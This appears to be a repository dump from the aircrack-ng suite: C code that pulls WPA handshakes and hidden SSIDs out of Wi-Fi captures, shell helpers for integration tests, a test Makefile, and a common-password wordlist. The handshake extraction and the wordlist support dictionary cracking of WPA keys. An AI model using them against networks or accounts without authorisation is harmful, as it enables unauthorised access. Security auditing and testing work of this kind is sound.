while (c)
{
if (memcmp(c->c_mac, mac, sizeof(c->c_mac)) == 0) return (c);
c = c->c_next;
}
return (NULL);
}
static struct client * find_add_client(struct network * n,
const unsigned char * mac)
{
struct client * c;
c = find_client(n, mac);
if (c) return (c);
c = malloc(sizeof(*c));
if (!c) err(1, "malloc()");
memset(c, 0, sizeof(*c));
memcpy(c->c_mac, mac, sizeof(c->c_mac));
c->c_next = n->n_clients.c_next;
n->n_clients.c_next = c;
return (c);
}
static int parse_rsn(const unsigned char * p, const int l, const int rsn)
{
REQUIRE(p != NULL);
int c;
const unsigned char * start = p;
int psk = 0;
int wpa = 0;
if (l < 2) return (0);
if (memcmp(p, "\x01\x00", 2) != 0) return (0);
wpa = 1;
if (l < 8) return (-1);
p += 2;
p += 4;
/* cipher */
c = le16toh(*((uint16_t *) p));
p += 2 + 4 * c;
if (l < ((p - start) + 2)) return (-1);
/* auth */
c = le16toh(*((uint16_t *) p));
p += 2;
if (l < ((p - start) + c * 4)) return (-1);
while (c--)
{
if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
p += 4;
}
ALLEGE(l >= (p - start));
if (!psk) wpa = 0;
return (wpa);
}
static int parse_elem_vendor(const unsigned char * e, const int l)
{
REQUIRE(e != NULL);
const struct ieee80211_ie_wpa * wpa = (const struct ieee80211_ie_wpa *) e;
if (l < 5) return (0);
if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0);
if (l < 8) return (0);
if (wpa->wpa_type != WPA_OUI_TYPE) return (0);
return (parse_rsn((unsigned char *) &wpa->wpa_version, l - 6, 0));
}
static void process_beacon(struct timespec * ts,
int * dlt,
struct ieee80211_frame * wh,
int totlen)
{
REQUIRE(wh != NULL);
unsigned char * p = (unsigned char *) (wh + 1);
int bhlen = 8 + 2 + 2;
int len = totlen;
char ssid[256];
int wpa = 0;
int rc;
int ssids = 0;
struct network * n;
totlen -= sizeof(*wh);
if (totlen < bhlen) goto __bad;
if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
p += bhlen;
totlen -= bhlen;
ssid[0] = 0;
while (totlen > 2)
{
int id = *p++;
int l = *p++;
totlen -= 2;
if (totlen < l) goto __bad;
switch (id)
{
case IEEE80211_ELEMID_SSID:
if (++ssids > 1) break;
if (!(l == 0 || p[0] == 0))
{
memcpy(ssid, p, l);
ssid[l] = 0;
}
break;
case IEEE80211_ELEMID_VENDOR:
if ((rc = parse_elem_vendor(&p[-2], l + 2)) == -1) goto __bad;
if (rc) wpa = 1;
break;
case IEEE80211_ELEMID_RSN:
if ((rc = parse_rsn(p, l, 1)) == -1) goto __bad;
if (rc) wpa = 1;
break;
}
p += l;
totlen -= l;
}
if (!wpa) return;
n = find_add_net(wh->i_addr3);
if (n->n_beaconlen) return;
n->n_beaconlen = len;
ALLEGE(n->n_beaconlen <= (int) sizeof(n->n_beacon));
memcpy(n->n_beacon, wh, n->n_beaconlen);
strncpy(n->n_ssid, ssid, sizeof(n->n_ssid));
(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
check_network(ts, dlt, n);
return;
__bad:
printf("bad beacon\n");
}
static void packet_copy(struct packet * p,
struct timespec * ts,
const void * d,
const int len)
{
REQUIRE(p != NULL);
REQUIRE(len <= (int) sizeof(p->p_data));
if (ts)
{
p->p_ts.tv_sec = ts->tv_sec;
p->p_ts.tv_nsec = ts->tv_nsec;
}
p->p_len = len;
memcpy(p->p_data, d, len);
}
static void process_eapol(struct timespec * ts,
int * dlt,
struct network * n,
struct client * c,
const unsigned char * p,
const int len,
struct ieee80211_frame * wh,
const int totlen)
{
UNUSED_PARAM(dlt);
int num, i;
num = eapol_handshake_step(p, len);
if (num == 0) return;
REQUIRE(c != NULL);
/* reset... should use time, too. XXX conservative - check retry */
if (c->c_wpa == 0 || num <= c->c_wpa)
{
for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
c->c_wpa_got = 0;
}
c->c_wpa = num;
switch (num)
{
case 1:
c->c_wpa_got |= 1;
break;
case 2:
c->c_wpa_got |= 2;
c->c_wpa_got |= 4;
break;
case 3:
REQUIRE(p != NULL);
if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
c->c_wpa_got |= 4;
break;
case 4:
REQUIRE(p != NULL);
if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
c->c_wpa_got |= 4;
break;
default:
abort();
}
packet_copy(&c->c_handshake[num - 1], ts, wh, totlen);
if (c->c_wpa_got == 7)
{
REQUIRE(n != NULL);
n->n_handshake = c;
}
}
static void process_data(struct timespec * ts,
int * dlt,
struct ieee80211_frame * wh,
int len)
{
REQUIRE(wh != NULL);
unsigned char * p = (unsigned char *) (wh + 1);
struct llc * llc;
int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
int eapol = 0;
struct client * c;
int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
int orig = len;
unsigned char *bssid, *clientaddr;
struct network * n;
len -= sizeof(*wh);
if (stype == IEEE80211_FC0_SUBTYPE_QOS)
{
p += 2;
len -= 2;
}
if (!wep && len >= 8)
{
llc = (struct llc *) p;
eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
p += 8;
len -= 8;
}
if (!eapol) return;
if (len < 5) return;
/* type == key */
if (p[1] != 0x03) return;
/* desc == WPA or RSN */
if (p[4] != 0xFE && p[4] != 0x02) return;
bssid = wh->i_addr1;
clientaddr = wh->i_addr2;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
{
bssid = wh->i_addr2;
clientaddr = wh->i_addr1;
}
else if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_TODS))
bssid = wh->i_addr3; /* IBSS */
n = find_add_net(bssid);
if (n->n_handshake) return;
c = find_add_client(n, clientaddr);
process_eapol(ts, dlt, n, c, p, len, wh, orig);
if (n->n_handshake) check_network(ts, dlt, n);
}
static void grab_hidden_ssid(struct timespec * ts,
int * dlt,
const unsigned char * bssid,
struct ieee80211_frame * wh,
int len,
const int off)
{
REQUIRE(wh != NULL);
struct network * n;
unsigned char * p = ((unsigned char *) (wh + 1)) + off;
int l;
n = find_net(bssid);
if (n && n->n_ssid[0]) return;
len -= sizeof(*wh) + off + 2;
if (len < 0) goto __bad;
if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
l = *p++;
if (l > len) goto __bad;
if (l == 0) return;
if (!n) n = net_add(bssid);
memcpy(n->n_ssid, p, l);
n->n_ssid[l] = 0;
check_network(ts, dlt, n);
return;
__bad:
printf("bad grab_hidden_ssid\n");
return;
}
static void
process_packet(struct timespec * ts, int * dlt, void * packet, const int len)
{
REQUIRE(packet != NULL);
struct ieee80211_frame * wh = (struct ieee80211_frame *) packet;
if (len < (int) sizeof(*wh)) return;
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
{
case IEEE80211_FC0_TYPE_MGT:
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_BEACON:
process_beacon(ts, dlt, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 2 + 2);
break;
case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 2 + 2 + 6);
break;
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 8 + 2 + 2);
break;
}
break;
case IEEE80211_FC0_TYPE_DATA:
process_data(ts, dlt, wh, len);
break;
}
}
static void pwn(const char * fname)
{
REQUIRE(fname != NULL);
struct wif * wi;
struct timespec ts;
int dlt;
char crap[2048];
int rc;
if (strlen(fname) + 7 >= sizeof(crap))
{
printf("Filename too long, aborting\n");
return;
}
memset(crap, 0, sizeof(crap));
snprintf(crap, sizeof(crap), "file://%s", fname);
wi = wi_open(crap);
if (!wi)
{
printf("Bad file - skipping %s\n", fname);
return;
}
while ((rc = wi_read(
wi, &ts, &dlt, (unsigned char *) crap, sizeof(crap), NULL))
> 0)
process_packet(&ts, &dlt, crap, rc);
wi_close(wi);
}
static void free_data(void)
{
struct network * nets = _networks.n_next;
while (nets)
{
// Free clients
struct client * clients = nets->n_handshake;
while (clients)
{
struct client * client_prev = clients;
clients = clients->c_next;
free(client_prev);
}
// Free net
struct network * net_prev = nets;
nets = nets->n_next;
free(net_prev);
}
free(_outfilename);
}
int main(int argc, char * argv[])
{
if (argc < 3)
{
printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]);
return (EXIT_FAILURE);
}
_outfilename = strdup(argv[1]);
if (_outfilename == NULL)
{
perror("strdup()");
return (EXIT_FAILURE);
}
for (int i = 2; i < argc; i++)
{
const char * in = argv[i];
int prog = (int) (((double) (i - 1)) / ((double) (argc - 2))
#if defined(__x86_64__) && defined(__CYGWIN__)
* (0.0f + 100));
#else
* 100.0);
#endif
printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog);
fflush(stdout);
pwn(in);
}
// Cleanup
free_data();
printf("Done\n");
exit(EXIT_SUCCESS);
} |
Shell Script | aircrack-ng/test/int-test-common.sh | #!/bin/sh
cleanup() {
echo "Cleanup"
kill_wpa_supplicant
kill_hostapd
# takes care of killing tcpdump if necessary
clean_tcpdump
unload_module
restore_regdomain
}
screen_cleanup() {
SCREEN_NAME=capture
[ -n "$1" ] && SCREEN_NAME="$1"
screen -S "${SCREEN_NAME}" -p 0 -X quit
screen -wipe
}
check_arg_is_number() {
if [ -z "$1" ]; then
echo "${2}() requires an argument, and it must be a number"
exit 1
fi
if [ -z "$(echo "$1" | ${GREP} -E '^[0-9]{1,}$')" ]; then
echo "${2}() expects the a number, got $1"
exit 1
fi
}
MODULE_LOADED=0
load_module() {
check_arg_is_number "$1" 'load_module'
if [ -z "$(lsmod | ${GREP} mac80211_hwsim)" ]; then
echo "Loading mac80211_hwsim with $1 radios"
modprobe mac80211_hwsim radios="$1" 2>&1 >/dev/null
if [ $? -ne 0 ]; then
# XXX: It can fail if inside a container too
echo "Failed inserting module, skipping"
exit 1
fi
MODULE_LOADED=1
else
echo 'mac80211_hwsim already loaded, unload it first!'
exit 1
fi
}
check_radios_present() {
check_arg_is_number "$1" 'check_radios_present'
AMOUNT_RADIOS=$("${abs_builddir}/../scripts/airmon-ng" | ${GREP} hwsim | wc -l)
if [ "${AMOUNT_RADIOS}" -ne "$1" ]; then
echo "Expected $1 radios, got ${AMOUNT_RADIOS}, hwsim may be in use by something else, aborting"
exit 1
fi
echo "Correct amount of radios present: $1"
}
airmon_ng_check() {
# Display output of "airmon-ng check" if there are interfering process
# Can help in detecting if previous tests didn't clean up
# Or, if running the first test, check if there are interfering processes
if [ "$("${abs_builddir}/../scripts/airmon-ng" check | grep "PID" | wc -l)" -eq 1 ]; then
"${abs_builddir}/../scripts/airmon-ng" check
fi
}
unload_module() {
if [ ${MODULE_LOADED} -eq 1 ]; then
echo 'Unloading mac80211_hwsim'
rmmod mac80211_hwsim 2>/dev/null >/dev/null
fi
}
is_pid_running() {
check_arg_is_number "$1" 'is_pid_running'
[ ! -f "/proc/${1}/status" ] && return 0
return 1
}
check_tools_compiled() {
echo 'Checking required Aircrack-ng tools are compiled'
# Check that all the tools are compiled
if [ ! -f "${abs_builddir}/../scripts/airmon-ng" ]; then
echo 'Tools are unlikely to be compiled - airmon-ng is not present'
exit 1
fi
# Linux only, we'll have to adapt if we ever support Windows officially
if [ ! -f "${abs_builddir}/../aircrack-ng" ] \
|| [ ! -f "${abs_builddir}/../aircrack-ng" ] \
|| [ ! -f "${abs_builddir}/../airodump-ng" ] \
|| [ ! -f "${abs_builddir}/../aireplay-ng" ]; then
echo 'Aircrack-ng tools not compiled'
exit 1
fi
}
check_root() {
if [ "$(id -u)" -ne 0 ]; then
echo 'Not root, skipping'
exit 77
fi
echo 'User is root'
}
is_tool_present() {
if [ -z "$1" ]; then
echo 'is_tool_present() requires the name of the tool'
exit 1
fi
hash "$1" 2>&1 >/dev/null
if [ $? -ne 0 ]; then
echo "$1 is not installed, aborting!"
exit 1
fi
echo "$1 is present"
}
check_airmon_ng_deps_present() {
is_tool_present iw
is_tool_present lsusb
}
get_hwsim_interface_name() {
check_arg_is_number "$1" 'get_hwsim_interface_name'
IFACE=$("${abs_builddir}/../scripts/airmon-ng" 2>/dev/null | ${GREP} hwsim | head -n "$1" | tail -n 1 | ${AWK} '{print $2}')
if [ -z "${IFACE}" ]; then
echo "Failed getting interface $1"
cleanup
exit 1
fi
echo "Interface $1 name: ${IFACE}"
}
######################## regdomain iw commands ########################
REG_DOMAIN=""
backup_regdomain() {
REG_DOMAIN="$(iw reg get | ${GREP} country | ${AWK} -F\: '{print $1}' | ${AWK} '{print $2}')"
echo "Current regdomain: ${REG_DOMAIN}"
}
set_regdomain() {
if [ -z "$1" ]; then
echo "set_regdomain(): No regdomain given"
return 1
fi
echo "Changing regdomain to $1"
iw reg set "$1"
}
restore_regdomain() {
[ -n "${REG_DOMAIN}" ] && set_regdomain "${REG_DOMAIN}"
}
########################## Channel settings ##########################
FIRST_5GHZ_CHANNEL=""
get_first_5ghz_channel() {
if [ -z "$1" ]; then
echo 'get_first_5ghz_channel(): missing interface name'
return 1
fi
TMP_IFACE_PHY=$(iw dev "$1" info | ${GREP} wiphy | ${AWK} '{print $2}')
if [ -z "${TMP_IFACE_PHY}" ]; then
echo "get_first_5ghz_channel(): Interface $1 does not exist or does not have associated PHY"
return 1
fi
FIRST_5GHZ_CHANNEL=$(iw phy phy"${TMP_IFACE_PHY}" info | ${GREP} -E '\* 5[0-9]{3} MHz' | ${GREP} -v -E '(no IR|disabled)' | ${AWK} -F\[ '{ print $2}' | ${AWK} -F\] '{print $1}' | head -n 1)
if [ -z "${FIRST_5GHZ_CHANNEL}" ]; then
echo "get_first_5ghz_channel(): No 5GHz channel available"
return 1
fi
if [ "$(echo "${FIRST_5GHZ_CHANNEL}" | ${GREP} -E '^[1-9][0-9]{1,2}$' | wc -l)" -ne 1 ]; then
echo "get_first_5ghz_channel(): Failure to get channel: ${FIRST_5GHZ_CHANNEL}"
return 1
fi
echo "First 5GHz channel: ${FIRST_5GHZ_CHANNEL}"
return 0
}
set_interface_channel() {
if [ -z "$1" ]; then
echo 'set_monitor_mode(): missing interface name'
return 1
fi
check_arg_is_number "$2" 'set_interface_channel'
echo "Setting $1 on channel $2"
ip link set "$1" up
iw dev "$1" set channel "$2"
if [ $? -eq 1 ]; then
echo "iw dev $1 set channel $2 failed, exiting"
return 1
fi
return 0
}
set_monitor_mode() {
if [ -z "$1" ]; then
echo 'set_monitor_mode(): missing interface name'
return 1
fi
echo "Putting $1 in monitor mode"
ip link set "$1" down
iw dev "$1" set monitor none
if [ $? -eq 1 ]; then
echo "iw dev $1 set monitor none failed, exiting"
return 1
fi
ip link set "$1" up
# Check card is in monitor mode
IFACE_MODE=$(iw dev "$1" info | grep type | awk '{print $2}')
if [ "${IFACE_MODE}" != 'monitor' ]; then
echo "Failed to set $1 in monitor mode: ${IFACE_MODE}"
return 1
fi
return 0
}
########################## tcpdump ##########################
TCPDUMP_PID=""
TEMP_TCPDUMP_PCAP=$(mktemp -u)
TCPDUMP_IFACE=""
run_tcpdump() {
ADDL_TCPDUMP_PARAMS="$1"
if [ -z "{TCPDUMP_IFACE}" ]; then
echo 'Missing capture interface'
cleanup
exit 1
fi
if [ -n "$1" ]; then
echo "Additional tcpdump parameters: $1"
cleanup
exit 1
fi
# Run tcpdump
echo "Starting tcpdump on ${TCPDUMP_IFACE}"
tcpdump -Z root -i "${TCPDUMP_IFACE}" -w "${TEMP_TCPDUMP_PCAP}" -U "${ADDL_TCPDUMP_PARAMS}" & 2>&1 >/dev/null
# Get PID
TCPDUMP_PID=$!
sleep 1
is_pid_running ${TCPDUMP_PID}
if [ $? -eq 0 ]; then
echo 'Failed starting tcpdump'
cleanup
return 0
fi
# Display PID
echo "tcpdump PID: ${TCPDUMP_PID}"
return 1
}
kill_tcpdump() {
if [ -n "${TCPDUMP_PID}" ] && [ -f "/proc/${TCPDUMP_PID}/status" ]; then
echo "Killing tcpdump PID ${TCPDUMP_PID}"
# If there is nothing, just kill it slowly
if [ -z "$1" ]; then
# Kill tcpdump (SIGTERM)
kill -15 ${TCPDUMP_PID}
# Wait a few seconds so it exits gracefully and
# writes the frames to the file
sleep 3
fi
# Kill and cleanup
kill -9 ${TCPDUMP_PID} 2>/dev/null
TCPDUMP_PID=""
fi
}
clean_tcpdump() {
kill_tcpdump nowait
if [ -n "${TEMP_TCPDUMP_PCAP}" ] && [ -f "${TEMP_TCPDUMP_PCAP}" ]; then
rm -f "${TEMP_TCPDUMP_PCAP}"
TEMP_TCPDUMP_PCAP=""
fi
}
########################## HostAPd ##########################
HOSTAPD_PID_FILE=$(mktemp -u)
# PID is more of a convenience
HOSTAPD_PID=""
TEMP_HOSTAPD_CONF_FILE=$(mktemp -u)
run_hostapd() {
# Check configuration file is present
if [ -z "$1" ]; then
echo 'HostAPd requires a configuration file'
cleanup
exit 1
fi
if [ ! -f "$1" ]; then
echo "HostAPd configuration file $1 does not exist"
cleanup
exit 1
fi
TEMP_HOSTAPD_CONF_FILE="$1"
# Run HostAPd
echo "Starting HostAPd with ${TEMP_HOSTAPD_CONF_FILE}"
hostapd -P "${HOSTAPD_PID_FILE}" -B "${TEMP_HOSTAPD_CONF_FILE}" 2>&1
if test $? -ne 0; then
echo 'Failed starting HostAPd with the following configuration:'
cat "${TEMP_HOSTAPD_CONF_FILE}"
echo '------------'
echo 'Running airmon-ng check kill may fix the issue'
cleanup
return 0
fi
# Get PID
sleep 0.5
HOSTAPD_PID=$(cat "${HOSTAPD_PID_FILE}" 2>/dev/null)
echo "HostAPd PID: ${HOSTAPD_PID}"
return 1
}
kill_hostapd() {
if [ -n "${TEMP_HOSTAPD_CONF_FILE}" ] && [ -f "${HOSTAPD_PID_FILE}" ]; then
# Get HostAPd PID
PID_TO_KILL=$(cat "${HOSTAPD_PID_FILE}" 2>/dev/null)
echo "Killing HostAPd PID ${PID_TO_KILL}"
# Kill and cleanup
kill -9 "${PID_TO_KILL}"
rm -f "${TEMP_HOSTAPD_CONF_FILE}" "${HOSTAPD_PID_FILE}"
TEMP_HOSTAPD_CONF_FILE=""
HOSTAPD_PID=""
HOSTAPD_PID_FILE=""
fi
}
########################## WPA supplicant ##########################
WPAS_PID_FILE=$(mktemp -u)
# PID is more of a convenience
WPAS_PID=""
TEMP_WPAS_CONF_FILE=$(mktemp -u)
run_wpa_supplicant() {
# Check configuration file is present
if [ -z "$1" ] || [ -z "$2" ]; then
echo 'WPA_supplicant requires a configuration file and a wifi interface'
cleanup
exit 1
fi
if [ ! -f "$1" ]; then
echo "WPA_supplicant configuration file $1 does not exist"
cleanup
exit 1
fi
TEMP_WPAS_CONF_FILE="$1"
# Run WPA supplicant
echo "Starting WPA_supplicant with ${TEMP_WPAS_CONF_FILE} on $2"
wpa_supplicant -B -Dnl80211 -i "$2" -c "${TEMP_WPAS_CONF_FILE}" -P "${WPAS_PID_FILE}" 2>&1
if test $? -ne 0; then
echo 'Failed starting WPA supplicant with the following configuration:'
cat "${TEMP_WPAS_CONF_FILE}"
echo '------------'
echo 'Running airmon-ng check kill may fix the issue'
cleanup
exit 1
fi
# Get PID
sleep 0.5
WPAS_PID=$(cat "${WPAS_PID_FILE}" 2>/dev/null)
echo "WPA supplicant PID: ${WPAS_PID}"
}
kill_wpa_supplicant() {
if [ -n "${TEMP_WPAS_CONF_FILE}" ] && [ -f "${WPAS_PID_FILE}" ]; then
# Get WPA supplicant PID
PID_TO_KILL=$(cat "${WPAS_PID_FILE}" 2>/dev/null)
echo "Killing WPA supplicant PID ${PID_TO_KILL}"
# Kill and cleanup
kill -9 "${PID_TO_KILL}"
rm -f "${TEMP_WPAS_CONF_FILE}" "${WPAS_PID_FILE}"
TEMP_WPAS_CONF_FILE=""
WPAS_PID=""
WPAS_PID_FILE=""
fi
}
check_tools_compiled |
Include | aircrack-ng/test/Makefile.inc | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
AM_TESTS_ENVIRONMENT = \
. $(builddir)/test/test-env.sh; \
TEST_SRCDIR="$(abs_srcdir)"; export TEST_SRCDIR; \
TEST_BUILDDIR="$(abs_builddir)"; export TEST_BUILDDIR; \
CMOCKA_MESSAGE_OUTPUT=TAP; export CMOCKA_MESSAGE_OUTPUT; \
if test -d /usr/xpg4/bin; then \
PATH=/usr/xpg4/bin:$$PATH; export PATH; \
fi;
TESTS_ENVIRONMENT ?= $(AM_TESTS_ENVIRONMENT)
test_hex_string_to_array_SOURCES = %D%/test-hex_string_to_array.c
test_hex_string_to_array_LDADD = $(libaccrypto_la_LIBADD) $(libaircrack_la_LIBADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS)
check_PROGRAMS += test-hex_string_to_array
TESTS += %D%/test-hex_string_to_array.sh \
%D%/test-aircrack-ng-0001.sh \
%D%/test-aircrack-ng-0002.sh \
%D%/test-aircrack-ng-0003.sh \
%D%/test-aircrack-ng-0004.sh \
%D%/test-aircrack-ng-0005.sh \
%D%/test-aircrack-ng-0006.sh \
%D%/test-aircrack-ng-0007.sh \
%D%/test-aircrack-ng-0008.sh \
%D%/test-aircrack-ng-0009.sh \
%D%/test-aircrack-ng-0010.sh \
%D%/test-aircrack-ng-0011.sh \
%D%/test-aircrack-ng-0012.sh \
%D%/test-aircrack-ng-0013.sh \
%D%/test-aircrack-ng-0014.sh \
%D%/test-aircrack-ng-0015.sh \
%D%/test-aircrack-ng-0016.sh \
%D%/test-aircrack-ng-0017.sh \
%D%/test-aircrack-ng-0018.sh \
%D%/test-aircrack-ng-0019.sh \
%D%/test-aircrack-ng-0021.sh \
%D%/test-aircrack-ng-0022.sh \
%D%/test-aircrack-ng-0023.sh \
%D%/test-aircrack-ng-0024.sh \
%D%/test-airdecap-ng-0001.sh \
%D%/test-airdecap-ng-0002.sh \
%D%/test-airdecap-ng-0003.sh \
%D%/test-airdecap-ng-0004.sh \
%D%/test-airdecap-ng-0005.sh \
%D%/test-airdecap-ng-0006.sh \
%D%/test-wpaclean-0001.sh \
%D%/test-wpaclean-0002.sh \
%D%/test-alltools.sh
if EXPECT
TESTS += %D%/test-aircrack-ng-0020.sh
endif
if LINUX
INTEGRATION_TESTS += %D%/test-aireplay-ng-0001.sh \
%D%/test-aireplay-ng-0002.sh \
%D%/test-aireplay-ng-0003.sh \
%D%/test-aireplay-ng-0004.sh \
%D%/test-aireplay-ng-0005.sh \
%D%/test-aireplay-ng-0006.sh \
%D%/test-aireplay-ng-0007.sh \
%D%/test-aireplay-ng-0008.sh \
%D%/test-airbase-ng-0001.sh \
%D%/test-airbase-ng-0002.sh \
%D%/test-airbase-ng-0003.sh \
%D%/test-airodump-ng-0001.sh \
%D%/test-airodump-ng-0002.sh \
%D%/test-airodump-ng-0003.sh \
%D%/test-airodump-ng-0004.sh \
%D%/test-airodump-ng-0005.sh \
%D%/test-airodump-ng-0006.sh
endif
if HAVE_SQLITE3
TESTS += %D%/test-airolib-ng-0001.sh
endif
EXTRA_DIST += %D%/test-hex_string_to_array.sh \
%D%/test-aircrack-ng-0001.sh \
%D%/test-aircrack-ng-0002.sh \
%D%/test-aircrack-ng-0003.sh \
%D%/test-aircrack-ng-0004.sh \
%D%/test-aircrack-ng-0005.sh \
%D%/test-aircrack-ng-0006.sh \
%D%/test-aircrack-ng-0007.sh \
%D%/test-aircrack-ng-0008.sh \
%D%/test-aircrack-ng-0009.sh \
%D%/test-aircrack-ng-0010.sh \
%D%/test-aircrack-ng-0011.sh \
%D%/test-aircrack-ng-0012.sh \
%D%/test-aircrack-ng-0013.sh \
%D%/test-aircrack-ng-0014.sh \
%D%/test-aircrack-ng-0015.sh \
%D%/test-aircrack-ng-0016.sh \
%D%/test-aircrack-ng-0017.sh \
%D%/test-aircrack-ng-0018.sh \
%D%/test-aircrack-ng-0019.sh \
%D%/test-aircrack-ng-0021.sh \
%D%/test-aircrack-ng-0022.sh \
%D%/test-aircrack-ng-0023.sh \
%D%/test-aircrack-ng-0024.sh \
%D%/test-airdecap-ng-0001.sh \
%D%/test-airdecap-ng-0002.sh \
%D%/test-airdecap-ng-0003.sh \
%D%/test-airdecap-ng-0004.sh \
%D%/test-airdecap-ng-0005.sh \
%D%/test-airdecap-ng-0006.sh \
%D%/test-wpaclean-0001.sh \
%D%/test-wpaclean-0002.sh \
%D%/test-alltools.sh \
%D%/wpaclean_crash.pcap \
%D%/int-test-common.sh \
%D%/wep.open.system.authentication.cap \
%D%/wpa2-psk-linksys.cap \
%D%/wpa3-psk.pcap \
%D%/test-hex_string_to_array.c \
%D%/wpa.cap \
%D%/test.ivs \
%D%/StayAlfred.hccapx \
%D%/test1.pcap \
%D%/test-pmkid.pcap \
%D%/capture_wds-01.cap \
%D%/wpa-psk-linksys.cap \
%D%/wpa2.eapol.cap \
%D%/wps2.0.pcap \
%D%/verify_inject.py \
%D%/replay.py \
%D%/password.lst \
%D%/password-2.lst \
%D%/password-3.lst \
%D%/n-02.cap \
%D%/zn2i.pcap \
%D%/wep.shared.key.authentication.cap \
%D%/wep_64_ptw.cap \
%D%/pingreply.c \
%D%/Chinese-SSID-Name.pcap \
%D%/passphrases.db \
%D%/test-airdecap-ng.sh \
%D%/test-airolib-sqlite.sh \
%D%/MOM1.cap \
%D%/pass.txt \
%D%/test23.pcap \
%D%/testm1m2m3.pcap \
%D%/pmkid-not-recognized.cap
if EXPECT
EXTRA_DIST += %D%/test-aircrack-ng-0020.sh \
%D%/wep_64_ptw_01.cap \
%D%/wep_64_ptw_02.cap \
%D%/wep_64_ptw_03.cap \
%D%/wep_64_ptw_04.cap
endif
if LINUX
EXTRA_DIST += %D%/test-aireplay-ng-0001.sh \
%D%/test-aireplay-ng-0002.sh \
%D%/test-aireplay-ng-0003.sh \
%D%/test-aireplay-ng-0004.sh \
%D%/test-aireplay-ng-0005.sh \
%D%/test-aireplay-ng-0006.sh \
%D%/test-aireplay-ng-0007.sh \
%D%/test-aireplay-ng-0007.sh \
%D%/test-airbase-ng-0001.sh \
%D%/test-airbase-ng-0002.sh \
%D%/test-airbase-ng-0003.sh \
%D%/test-airodump-ng-0001.sh \
%D%/test-airodump-ng-0002.sh \
%D%/test-airodump-ng-0003.sh \
%D%/test-airodump-ng-0004.sh \
%D%/test-airodump-ng-0005.sh\
%D%/test-airodump-ng-0006.sh
endif
if HAVE_SQLITE3
EXTRA_DIST += %D%/test-airolib-ng-0001.sh
endif
if CMOCKA
include %D%/unit/Makefile.inc
endif
include %D%/cryptounittest/Makefile.inc |
aircrack-ng/test/password.lst | # Compiled by Solar Designer
12345
abc123
password
passwd
123456
newpass
notused
Hockey
internet
asshole
Maddock
12345678
newuser
computer
Internet
Mickey
qwerty
fiction
Cowboys
Jordan
Hatton
test
Michael
ou812
orange
1234
Beavis
123
tigger
Soccer
shadow
Purple
Sports
dragon
michael
wheeling
mustang
Monkey
Qwerty
School
Snoopy
Vikings
jennifer
money
Justin
mickey
0246
a1b2c3
chris
david
foobar
Robert
buster
harley
jordan
stupid
*
apple
fred
123abc
Amanda
Dakota
summer
sunshine
andrew
hello
maggie
monday
pascal
patrick
Dallas
Jessica
Nicole
Sendit
Smokey
baseball
daniel
diamond
joshua
michelle
mike
silver
1q2w3e
Friends
George
Shadow
Summer
bandit
coffee
falcon
fuckyou
pepper
richard
thomas
undead
!@#$%
Andrew
Buster
Cowboy
Eagles
Elwood
Master
Nathan
changeme
charlie
golf
green
linda
merlin
monkey
nite
secret
soccer
steve
1234567
Apples
Dragon
Flower
Mustang
Pepper
george
guest
hockey
james
koko
matthew
pookie
robert
xxx
Dolphin
Killer
Miller
Packers
Tigger
alex
canada
john
master
Chicago
Kitten
Polaris
Spanky
Tennis
Thomas
Tweety
hammer
letmein
magic
murphy
scooter
service
snoopy
sophie
thx1138
tiger
Ashley
Basket
Ginger
Nirvana
Teacher
Yellow
blue
dave
hunter
sarah
thursday
welcome
Bandit
Volley
aaaaaa
ashley
bear
boomer
calvin
dallas
friday
happy
jason
madison
martin
mother
nicole
purple
ranger
123go
Airhead
Braves
Sparky
angela
brandy
cindy
dakota
donald
football
ncc1701
shannon
soleil
taylor
tuesday
Abcdef
August
Footbal
Heather
Johnson
Maggie
Matthew
Michelle
Monday
Pookie
Rabbit
Richard
Smiley
amanda
anthony
camaro
carmen
cowboy
genesis
